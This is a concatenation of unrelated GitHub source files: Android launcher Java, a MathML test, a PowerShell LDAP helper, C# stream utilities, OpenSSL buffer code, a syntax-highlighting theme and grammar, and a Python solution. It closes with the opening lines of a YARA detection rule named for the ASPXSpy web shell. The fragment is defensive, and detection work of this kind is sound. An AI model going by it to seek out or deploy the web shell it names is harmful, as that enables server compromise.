private AlphabeticIndexCompat mIndex;
/**
* Boring constructor.
*/
public AllAppsList(IconCache iconCache, AppFilter appFilter) {
mIconCache = iconCache;
mAppFilter = appFilter;
mIndex = new AlphabeticIndexCompat(LocaleList.getDefault());
}
/**
* Returns true if there have been any changes since last call.
*/
public boolean getAndResetChangeFlag() {
boolean result = mDataChanged;
mDataChanged = false;
return result;
}
/**
* Add the supplied ApplicationInfo objects to the list, and enqueue it into the
* list to broadcast when notify() is called.
*
* If the app is already in the list, doesn't add it.
*/
public void add(AppInfo info, LauncherActivityInfo activityInfo) {
if (!mAppFilter.shouldShowApp(info.componentName)) {
return;
}
if (findAppInfo(info.componentName, info.user) != null) {
return;
}
mIconCache.getTitleAndIcon(info, activityInfo, true /* useLowResIcon */);
info.sectionName = mIndex.computeSectionName(info.title);
data.add(info);
mDataChanged = true;
}
public void addPromiseApp(Context context,
PackageInstallerCompat.PackageInstallInfo installInfo) {
ApplicationInfo applicationInfo = LauncherAppsCompat.getInstance(context)
.getApplicationInfo(installInfo.packageName, 0, installInfo.user);
// only if not yet installed
if (applicationInfo == null) {
PromiseAppInfo info = new PromiseAppInfo(installInfo);
mIconCache.getTitleAndIcon(info, info.usingLowResIcon());
info.sectionName = mIndex.computeSectionName(info.title);
data.add(info);
mDataChanged = true;
}
}
public PromiseAppInfo updatePromiseInstallInfo(PackageInstallInfo installInfo) {
UserHandle user = Process.myUserHandle();
for (int i=0; i < data.size(); i++) {
final AppInfo appInfo = data.get(i);
final ComponentName tgtComp = appInfo.getTargetComponent();
if (tgtComp != null && tgtComp.getPackageName().equals(installInfo.packageName)
&& appInfo.user.equals(user)
&& appInfo instanceof PromiseAppInfo) {
final PromiseAppInfo promiseAppInfo = (PromiseAppInfo) appInfo;
if (installInfo.state == PackageInstallerCompat.STATUS_INSTALLING) {
promiseAppInfo.level = installInfo.progress;
return promiseAppInfo;
} else if (installInfo.state == PackageInstallerCompat.STATUS_FAILED) {
removeApp(i);
}
}
}
return null;
}
private void removeApp(int index) {
AppInfo removed = data.remove(index);
if (removed != null) {
mDataChanged = true;
mRemoveListener.accept(removed);
}
}
public void clear() {
data.clear();
mDataChanged = false;
// Reset the index as locales might have changed
mIndex = new AlphabeticIndexCompat(LocaleList.getDefault());
}
/**
* Add the icons for the supplied apk called packageName.
*/
public void addPackage(Context context, String packageName, UserHandle user) {
final LauncherAppsCompat launcherApps = LauncherAppsCompat.getInstance(context);
final List<LauncherActivityInfo> matches = launcherApps.getActivityList(packageName,
user);
for (LauncherActivityInfo info : matches) {
add(new AppInfo(context, info, user), info);
}
}
/**
* Remove the apps for the given apk identified by packageName.
*/
public void removePackage(String packageName, UserHandle user) {
final List<AppInfo> data = this.data;
for (int i = data.size() - 1; i >= 0; i--) {
AppInfo info = data.get(i);
if (info.user.equals(user) && packageName.equals(info.componentName.getPackageName())) {
removeApp(i);
}
}
}
/**
* Updates the disabled flags of apps matching {@param matcher} based on {@param op}.
*/
public void updateDisabledFlags(ItemInfoMatcher matcher, FlagOp op) {
final List<AppInfo> data = this.data;
for (int i = data.size() - 1; i >= 0; i--) {
AppInfo info = data.get(i);
if (matcher.matches(info, info.componentName)) {
info.runtimeStatusFlags = op.apply(info.runtimeStatusFlags);
mDataChanged = true;
}
}
}
public void updateIconsAndLabels(HashSet<String> packages, UserHandle user) {
for (AppInfo info : data) {
if (info.user.equals(user) && packages.contains(info.componentName.getPackageName())) {
mIconCache.updateTitleAndIcon(info);
info.sectionName = mIndex.computeSectionName(info.title);
mDataChanged = true;
}
}
}
/**
* Add and remove icons for this package which has been updated.
*/
public void updatePackage(Context context, String packageName, UserHandle user) {
final LauncherAppsCompat launcherApps = LauncherAppsCompat.getInstance(context);
final List<LauncherActivityInfo> matches = launcherApps.getActivityList(packageName,
user);
if (matches.size() > 0) {
// Find disabled/removed activities and remove them from data and add them
// to the removed list.
for (int i = data.size() - 1; i >= 0; i--) {
final AppInfo applicationInfo = data.get(i);
if (user.equals(applicationInfo.user)
&& packageName.equals(applicationInfo.componentName.getPackageName())) {
if (!findActivity(matches, applicationInfo.componentName)) {
Log.w(TAG, "Changing shortcut target due to app component name change.");
removeApp(i);
}
}
}
// Find enabled activities and add them to the adapter
// Also updates existing activities with new labels/icons
for (final LauncherActivityInfo info : matches) {
AppInfo applicationInfo = findAppInfo(info.getComponentName(), user);
if (applicationInfo == null) {
add(new AppInfo(context, info, user), info);
} else {
mIconCache.getTitleAndIcon(applicationInfo, info, true /* useLowResIcon */);
applicationInfo.sectionName = mIndex.computeSectionName(applicationInfo.title);
mDataChanged = true;
}
}
} else {
// Remove all data for this package.
for (int i = data.size() - 1; i >= 0; i--) {
final AppInfo applicationInfo = data.get(i);
if (user.equals(applicationInfo.user)
&& packageName.equals(applicationInfo.componentName.getPackageName())) {
mIconCache.remove(applicationInfo.componentName, user);
removeApp(i);
}
}
}
}
/**
* Returns whether <em>apps</em> contains <em>component</em>.
*/
private static boolean findActivity(List<LauncherActivityInfo> apps,
ComponentName component) {
for (LauncherActivityInfo info : apps) {
if (info.getComponentName().equals(component)) {
return true;
}
}
return false;
}
/**
* Find an AppInfo object for the given componentName
*
* @return the corresponding AppInfo or null
*/
private @Nullable AppInfo findAppInfo(@NonNull ComponentName componentName,
@NonNull UserHandle user) {
for (AppInfo info: data) {
if (componentName.equals(info.componentName) && user.equals(info.user)) {
return info;
}
}
return null;
}
public AppInfo[] copyData() {
AppInfo[] result = data.toArray(EMPTY_ARRAY);
Arrays.sort(result, COMPONENT_KEY_COMPARATOR);
return result;
}
public SafeCloseable trackRemoves(Consumer<AppInfo> removeListener) {
mRemoveListener = removeListener;
return () -> mRemoveListener = NO_OP_CONSUMER;
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html>
<head>
<title>Stretchy munderover</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>
<!-- See bug 687807 -->
<math >
<mrow>
<msup>
<munderover>
<mo stretchy="true">→</mo>
<mtext>AAAAAA</mtext>
<mtext>BBBBBB</mtext>
</munderover>
<mtext>CCCCCC</mtext>
</msup>
</mrow>
</math>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
#############################################################################
## Copyright (c) Microsoft Corporation. All rights reserved.
## Licensed under the MIT license. See LICENSE file in the project root for full license information.
#############################################################################
#############################################################################
##
## Microsoft Windows Powershell Scripting
## File: Get-IADSearchRoot.ps1
## Purpose: Get the search root of an Active Directory in a specified DC (Server) according to the object DN provided.
## Version: 1.0 (8 Feb, 2012)
## Requirements: Windows Powershell 2.0 CTP
## Supported OS: Windows 7, Windows 8
##
##############################################################################
function Get-IADSearchRoot {
param (
[string]$ServerName = $(Throw "Please enter a Domain Controller Server Name."),
[string]$ObjectDN = $(Throw "Please enter a Object Distinguished Name."),
[string]$UserName = $(Throw "Please enter a valid username."),
[string]$Password = $(Throw "Please enter a valid password.")
)
$Root = New-Object DirectoryServices.DirectoryEntry("LDAP://$ServerName/$ObjectDN", $UserName, $Password)
$Searcher = New-Object DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Root
$AdObj=$Searcher.FindAll()
return $Root
}
|
{
"pile_set_name": "Github"
}
|
using BeetleX.Buffers;
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace BeetleX
{
public static class StreamHelper
{
public static PipeStream ToPipeStream(this Stream stream)
{
PipeStream result = stream as PipeStream;
if (result != null)
{
return result;
}
else
{
SslStreamX sslStramX = stream as SslStreamX;
if (sslStramX != null)
return sslStramX.GetPipeStream();
throw new BXException("invalid cast to PipeStream!");
}
}
#region write
public static void Write(System.IO.Stream stream, byte value)
{
stream.WriteByte(value);
}
public static void Write(System.IO.Stream stream, bool value)
{
if (value)
{
stream.WriteByte((byte)1);
}
else
{
stream.WriteByte((byte)0);
}
}
static int mCachedLength = 512;
[ThreadStatic]
static byte[] mBytesCached;
static void CreateByteCached()
{
if (mBytesCached == null)
mBytesCached = new byte[mCachedLength];
}
[ThreadStatic]
static char[] mCharsCached;
static void CreateCharCached()
{
if (mCharsCached == null)
mCharsCached = new char[mCachedLength];
}
public unsafe static void Write(Stream stream, short value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapInt16(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 2);
}
}
public unsafe static void Write(Stream stream, int value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapInt32(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 4);
}
}
public unsafe static void Write(Stream stream, long value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapInt64(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 8);
}
}
public unsafe static void Write(Stream stream, ushort value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapUInt16(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 2);
}
}
public unsafe static void Write(Stream stream, uint value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapUInt32(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 4);
}
}
public unsafe static void Write(Stream stream, ulong value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.Write(value);
}
else
{
CreateByteCached();
if (!littleEndian)
value = BitHelper.SwapUInt64(value);
BitHelper.Write(mBytesCached, value);
stream.Write(mBytesCached, 0, 8);
}
}
public static void Write(Stream stream, DateTime value, bool littleEndian)
{
Write(stream, value.Ticks, littleEndian);
}
public unsafe static void Write(Stream stream, char value, bool littleEndian)
{
short num = (short)value;
Write(stream, num, littleEndian);
}
public unsafe static void Write(Stream stream, float value, bool littleEndian)
{
int num = *(int*)(&value);
Write(stream, num, littleEndian);
}
public unsafe static void Write(Stream stream, double value, bool littleEndian)
{
long num = *(long*)(&value);
Write(stream, num, littleEndian);
}
public static int Write(Stream stream, Encoding encoding, string value)
{
if (string.IsNullOrEmpty(value))
return 0;
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.Write(value);
}
else
{
CreateByteCached();
CreateCharCached();
int count = 0;
int offset = 0;
int rlength = 0;
int length;
int maxSubLength = mCachedLength / encoding.GetMaxByteCount(1);
if (value.Length <= maxSubLength)
{
length = encoding.GetBytes(value, 0, value.Length, mBytesCached, 0);
stream.Write(mBytesCached, 0, length);
return length;
}
while (true)
{
rlength = value.Length - offset;
if (rlength > maxSubLength)
rlength = maxSubLength;
length = encoding.GetBytes(value, offset, rlength, mBytesCached, 0);
stream.Write(mBytesCached, 0, length);
count += length;
offset += rlength;
if (offset >= value.Length)
break;
}
return count;
}
}
public static int Write(Stream stream, Encoding encoding, string value, params object[] parameters)
{
return Write(stream, encoding, string.Format(value, parameters));
}
public static unsafe void WriteShortUTF(Stream stream, Encoding encoding, string value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.WriteShortUTF(value);
}
else
{
CreateByteCached();
int maxSubLength = mCachedLength / encoding.GetMaxByteCount(1);
if (maxSubLength > value.Length)
{
short count = (short)encoding.GetBytes(value, 0, value.Length, mBytesCached, 0);
if (!littleEndian)
count = BitHelper.SwapInt16(count);
byte[] lendata = BitConverter.GetBytes(count);
stream.Write(lendata, 0, 2);
stream.Write(mBytesCached, 0, count);
}
else
{
PipeStream pipetream = new PipeStream(BufferPoolGroup.DefaultGroup.Next(), littleEndian, encoding);
pipetream.WriteShortUTF(value);
Copy(pipeStream, stream);
pipetream.Dispose();
}
}
}
public static unsafe void WriteUTF(Stream stream, Encoding encoding, string value, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
pipeStream.WriteUTF(value);
}
else
{
CreateByteCached();
int maxSubLength = mCachedLength / encoding.GetMaxByteCount(1);
if (maxSubLength > value.Length)
{
int count = (int)encoding.GetBytes(value, 0, value.Length, mBytesCached, 0);
if (!littleEndian)
count = BitHelper.SwapInt32(count);
byte[] lendata = BitConverter.GetBytes(count);
stream.Write(lendata, 0, 4);
stream.Write(mBytesCached, 0, count);
}
else
{
PipeStream pipetream = new PipeStream(BufferPoolGroup.DefaultGroup.Next(), littleEndian, encoding);
pipetream.WriteUTF(value);
Copy(pipeStream, stream);
pipetream.Dispose();
}
}
}
#endregion
public static void WriteBuffer(System.IO.Stream stream, IBuffer buffer)
{
IBuffer wbuffer = buffer;
while (wbuffer != null)
{
stream.Write(wbuffer.Data, 0, wbuffer.Length);
wbuffer = wbuffer.Next;
}
Buffers.Buffer.Free(buffer);
}
public static void Copy(PipeStream source, Stream dest)
{
IBuffer buff = source.GetWriteCacheBufers();
WriteBuffer(dest, buff);
}
public static void ToPipeStream(Stream source, PipeStream dest)
{
ToPipeStream(source, (int)source.Length, dest);
}
public static void ToPipeStream(Stream source, int length, PipeStream dest)
{
int rlen = 0;
while (true)
{
IBuffer buffer = BufferPoolGroup.DefaultGroup.Next().Pop();
int offset = 0;
int size = buffer.Size;
int bufferlen = 0;
NEXT:
if (length > size)
{
rlen = source.Read(buffer.Data, offset, size);
}
else
{
rlen = source.Read(buffer.Data, offset, length);
}
if (rlen == 0)
{
if (bufferlen > 0)
{
buffer.SetLength(bufferlen);
dest.Import(buffer);
}
else
{
buffer.Free();
}
return;
}
bufferlen += rlen;
offset += rlen;
size -= rlen;
length -= rlen;
if (length == 0)
{
buffer.SetLength(bufferlen);
dest.Import(buffer);
return;
}
else
{
if (size > 0)
goto NEXT;
else
{
buffer.SetLength(bufferlen);
dest.Import(buffer);
}
}
}
}
#region read
public static bool TryRead(Stream stream, int count)
{
return stream.Length >= count;
}
public static byte ReadByte(Stream stream)
{
return (byte)stream.ReadByte();
}
public static bool ReadBool(Stream stream)
{
int data = stream.ReadByte();
return data == 0 ? false : true;
}
public static unsafe short ReadInt16(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadInt16();
}
else
{
short result;
CreateByteCached();
stream.Read(mBytesCached, 0, 2);
result = BitConverter.ToInt16(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapInt16(result);
return result;
}
}
public static unsafe int ReadInt32(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadInt32();
}
else
{
int result;
CreateByteCached();
stream.Read(mBytesCached, 0, 4);
result = BitConverter.ToInt32(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapInt32(result);
return result;
}
}
public static unsafe long ReadInt64(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadInt64();
}
else
{
long result;
CreateByteCached();
stream.Read(mBytesCached, 0, 8);
result = BitConverter.ToInt64(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapInt64(result);
return result;
}
}
public static unsafe ushort ReadUInt16(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadUInt16();
}
else
{
ushort result;
CreateByteCached();
stream.Read(mBytesCached, 0, 2);
result = BitConverter.ToUInt16(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapUInt16(result);
return result;
}
}
public static unsafe uint ReadUInt32(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadUInt32();
}
else
{
uint result;
CreateByteCached();
stream.Read(mBytesCached, 0, 4);
result = BitConverter.ToUInt32(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapUInt32(result);
return result;
}
}
public static unsafe ulong ReadUInt64(Stream stream, bool littleEndian)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadUInt64();
}
else
{
ulong result;
CreateByteCached();
stream.Read(mBytesCached, 0, 8);
result = BitConverter.ToUInt64(mBytesCached, 0);
if (!littleEndian)
result = BitHelper.SwapUInt64(result);
return result;
}
}
public static char ReadChar(Stream stream, bool littleEndian)
{
return (char)ReadInt16(stream, littleEndian);
}
public static DateTime ReadDateTime(Stream stream, bool littleEndian)
{
return new DateTime(ReadInt64(stream, littleEndian));
}
public static unsafe float ReadFloat(Stream stream, bool littleEndian)
{
int num;
num = ReadInt32(stream, littleEndian);
return *(float*)(&num);
}
public static unsafe double ReadDouble(Stream stream, bool littleEndian)
{
long num;
num = ReadInt64(stream, littleEndian);
return *(double*)(&num);
}
public static string ReadString(Stream stream, Decoder decoder, int length)
{
PipeStream pipeStream = stream as PipeStream;
if (pipeStream != null)
{
return pipeStream.ReadString(length);
}
else
{
if (length <= 0)
return null;
int rlength = 0;
int rcharlength = 0;
int count = 0;
CreateByteCached();
CreateCharCached();
if (length <= mBytesCached.Length)
{
count = stream.Read(mBytesCached, 0, length);
count = decoder.GetChars(mBytesCached, 0, count, mCharsCached, 0);
return new string(mCharsCached, 0, count);
}
StringBuilder sb = new StringBuilder(length);
count = 0;
while (true)
{
rlength = length - count;
if (rlength > mBytesCached.Length)
rlength = mBytesCached.Length;
stream.Read(mBytesCached, 0, rlength);
rcharlength = decoder.GetChars(mBytesCached, 0, rlength, mCharsCached, 0);
sb.Append(mCharsCached, 0, rcharlength);
count += rlength;
if (count >= length)
break;
}
return sb.ToString();
}
}
public static string ReadUTF(Stream stream, Decoder decoder, bool littleEndian)
{
int count = ReadInt32(stream, littleEndian);
return ReadString(stream, decoder, count);
}
public static string ReadShortUTF(Stream stream, Decoder decoder, bool littleEndian)
{
int count = ReadInt16(stream, littleEndian);
return ReadString(stream, decoder, count);
}
#endregion
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2013-2016 consulo.io
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package consulo.web.gwt.client.ui;
import com.google.gwt.user.client.ui.RadioButton;
/**
* @author VISTALL
* @since 14-Jun-16
*/
public class GwtRadioButtonImpl extends RadioButton {
public GwtRadioButtonImpl() {
super(null);
setStyleName("ui-radio-button");
}
}
|
{
"pile_set_name": "Github"
}
|
/* crypto/buffer/buffer.c */
/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young (eay@cryptsoft.com).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson (tjh@cryptsoft.com).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young (eay@cryptsoft.com)"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#include <stdio.h>
#include "cryptlib.h"
#include <limits.h>
#include <openssl/buffer.h>
size_t BUF_strnlen(const char *str, size_t maxlen)
{
const char *p;
for (p = str; maxlen-- != 0 && *p != '\0'; ++p) ;
return p - str;
}
char *BUF_strdup(const char *str)
{
if (str == NULL)
return NULL;
return BUF_strndup(str, strlen(str));
}
char *BUF_strndup(const char *str, size_t siz)
{
char *ret;
if (str == NULL)
return NULL;
siz = BUF_strnlen(str, siz);
if (siz >= INT_MAX)
return NULL;
ret = OPENSSL_malloc(siz + 1);
if (ret == NULL) {
BUFerr(BUF_F_BUF_STRNDUP, ERR_R_MALLOC_FAILURE);
return NULL;
}
memcpy(ret, str, siz);
ret[siz] = '\0';
return (ret);
}
void *BUF_memdup(const void *data, size_t siz)
{
void *ret;
if (data == NULL || siz >= INT_MAX)
return NULL;
ret = OPENSSL_malloc(siz);
if (ret == NULL) {
BUFerr(BUF_F_BUF_MEMDUP, ERR_R_MALLOC_FAILURE);
return NULL;
}
return memcpy(ret, data, siz);
}
size_t BUF_strlcpy(char *dst, const char *src, size_t size)
{
size_t l = 0;
for (; size > 1 && *src; size--) {
*dst++ = *src++;
l++;
}
if (size)
*dst = '\0';
return l + strlen(src);
}
size_t BUF_strlcat(char *dst, const char *src, size_t size)
{
size_t l = 0;
for (; size > 0 && *dst; size--, dst++)
l++;
return l + BUF_strlcpy(dst, src, size);
}
|
{
"pile_set_name": "Github"
}
|
/* Base16 Atelier Lakeside Light - Theme */
/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/lakeside) */
/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
/* Atelier-Lakeside Comment */
.hljs-comment,
.hljs-quote {
color: #5a7b8c;
}
/* Atelier-Lakeside Red */
.hljs-variable,
.hljs-template-variable,
.hljs-attribute,
.hljs-tag,
.hljs-name,
.hljs-regexp,
.hljs-link,
.hljs-name,
.hljs-selector-id,
.hljs-selector-class {
color: #d22d72;
}
/* Atelier-Lakeside Orange */
.hljs-number,
.hljs-meta,
.hljs-built_in,
.hljs-builtin-name,
.hljs-literal,
.hljs-type,
.hljs-params {
color: #935c25;
}
/* Atelier-Lakeside Green */
.hljs-string,
.hljs-symbol,
.hljs-bullet {
color: #568c3b;
}
/* Atelier-Lakeside Blue */
.hljs-title,
.hljs-section {
color: #257fad;
}
/* Atelier-Lakeside Purple */
.hljs-keyword,
.hljs-selector-tag {
color: #6b6bb8;
}
.hljs {
display: block;
overflow-x: auto;
background: #ebf8ff;
color: #516d7b;
padding: 0.5em;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-strong {
font-weight: bold;
}
|
{
"pile_set_name": "Github"
}
|
Prism.languages.d = Prism.languages.extend('clike', {
'string': [
// r"", x""
/\b[rx]"(?:\\[\s\S]|[^\\"])*"[cwd]?/,
// q"[]", q"()", q"<>", q"{}"
/\bq"(?:\[[\s\S]*?\]|\([\s\S]*?\)|<[\s\S]*?>|\{[\s\S]*?\})"/,
// q"IDENT
// ...
// IDENT"
/\bq"([_a-zA-Z][_a-zA-Z\d]*)(?:\r?\n|\r)[\s\S]*?(?:\r?\n|\r)\1"/,
// q"//", q"||", etc.
/\bq"(.)[\s\S]*?\1"/,
// Characters
/'(?:\\'|\\?[^']+)'/,
/(["`])(?:\\[\s\S]|(?!\1)[^\\])*\1[cwd]?/
],
'number': [
// The lookbehind and the negative look-ahead try to prevent bad highlighting of the .. operator
// Hexadecimal numbers must be handled separately to avoid problems with exponent "e"
/\b0x\.?[a-f\d_]+(?:(?!\.\.)\.[a-f\d_]*)?(?:p[+-]?[a-f\d_]+)?[ulfi]*/i,
{
pattern: /((?:\.\.)?)(?:\b0b\.?|\b|\.)\d[\d_]*(?:(?!\.\.)\.[\d_]*)?(?:e[+-]?\d[\d_]*)?[ulfi]*/i,
lookbehind: true
}
],
// In order: $, keywords and special tokens, globally defined symbols
'keyword': /\$|\b(?:abstract|alias|align|asm|assert|auto|body|bool|break|byte|case|cast|catch|cdouble|cent|cfloat|char|class|const|continue|creal|dchar|debug|default|delegate|delete|deprecated|do|double|else|enum|export|extern|false|final|finally|float|for|foreach|foreach_reverse|function|goto|idouble|if|ifloat|immutable|import|inout|int|interface|invariant|ireal|lazy|long|macro|mixin|module|new|nothrow|null|out|override|package|pragma|private|protected|public|pure|real|ref|return|scope|shared|short|static|struct|super|switch|synchronized|template|this|throw|true|try|typedef|typeid|typeof|ubyte|ucent|uint|ulong|union|unittest|ushort|version|void|volatile|wchar|while|with|__(?:(?:FILE|MODULE|LINE|FUNCTION|PRETTY_FUNCTION|DATE|EOF|TIME|TIMESTAMP|VENDOR|VERSION)__|gshared|traits|vector|parameters)|string|wstring|dstring|size_t|ptrdiff_t)\b/,
'operator': /\|[|=]?|&[&=]?|\+[+=]?|-[-=]?|\.?\.\.|=[>=]?|!(?:i[ns]\b|<>?=?|>=?|=)?|\bi[ns]\b|(?:<[<>]?|>>?>?|\^\^|[*\/%^~])=?/
});
Prism.languages.d.comment = [
// Shebang
/^\s*#!.+/,
// /+ +/
{
// Allow one level of nesting
pattern: /(^|[^\\])\/\+(?:\/\+[\s\S]*?\+\/|[\s\S])*?\+\//,
lookbehind: true
}
].concat(Prism.languages.d.comment);
Prism.languages.insertBefore('d', 'comment', {
'token-string': {
// Allow one level of nesting
pattern: /\bq\{(?:\{[^}]*\}|[^}])*\}/,
alias: 'string'
}
});
Prism.languages.insertBefore('d', 'keyword', {
'property': /\B@\w*/
});
Prism.languages.insertBefore('d', 'function', {
'register': {
// Iasm registers
pattern: /\b(?:[ABCD][LHX]|E[ABCD]X|E?(?:BP|SP|DI|SI)|[ECSDGF]S|CR[0234]|DR[012367]|TR[3-7]|X?MM[0-7]|R[ABCD]X|[BS]PL|R[BS]P|[DS]IL|R[DS]I|R(?:[89]|1[0-5])[BWD]?|XMM(?:[89]|1[0-5])|YMM(?:1[0-5]|\d))\b|\bST(?:\([0-7]\)|\b)/,
alias: 'variable'
}
});
|
{
"pile_set_name": "Github"
}
|
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
def __init__(self):
self.result = -2147483647
def maxPathSum(self, root):
"""
:type root: TreeNode
:rtype: int
"""
# return (root.val,left+root.val,right+root.val,left+right+root);
self.getNodeMaxValue(root)
return self.result
def getNodeMaxValue(self, node):
if node is None:
return 0
lresult = self.getNodeMaxValue(node.left)
rresult = self.getNodeMaxValue(node.right)
self.result = max(lresult + rresult + node.val, self.result)
ret = node.val + max(lresult, rresult)
# if max left or right < 0 then return 0
if ret > 0:
return ret
return 0
|
{
"pile_set_name": "Github"
}
|
Apache Milagro Crypto Libraries
Copyright 2016 The Apache Software Foundation
This product includes software developed at
The Apache Software Foundation (http://www.apache.org/).
|
{
"pile_set_name": "Github"
}
|
36
5
24
26
0
36
28
32
29
22
19
25
36
7
23
25
49
0
0
0
26
33
4
25
0
2
25
30
34
0
0
0
9
25
28
24
14
6
23
23
38
49
0
3
19
26
32
25
28
21
20
38
63
0
0
2
10
32
25
27
26
17
21
11
2
43
0
0
36
22
7
31
31
28
24
39
26
0
0
23
19
33
25
26
8
4
25
12
44
2
0
4
28
29
25
19
0
11
21
28
48
0
0
13
24
4
42
15
3
40
20
27
32
0
0
7
23
44
23
0
33
20
27
26
53
0
0
22
32
26
27
37
0
6
18
19
45
0
0
2
0
8
22
22
16
3
20
18
7
25
18
18
42
2
22
20
23
2
22
0
23
28
22
0
0
20
19
33
3
23
17
10
0
21
0
0
23
19
0
2
23
21
24
22
30
23
0
0
22
18
0
21
3
29
9
0
17
0
18
2
15
3
24
3
21
13
0
2
18
0
3
22
11
20
14
19
40
2
0
1
6
3
22
16
25
32
26
19
18
27
24
0
26
23
20
14
27
22
33
26
25
24
0
19
29
9
0
5
27
0
3
21
0
7
32
14
0
26
20
0
22
8
24
0
3
1
0
15
17
10
0
0
23
0
33
21
27
4
0
14
0
1
0
0
22
0
32
17
|
{
"pile_set_name": "Github"
}
|
rule IronTiger_ASPXSpy
{
meta:
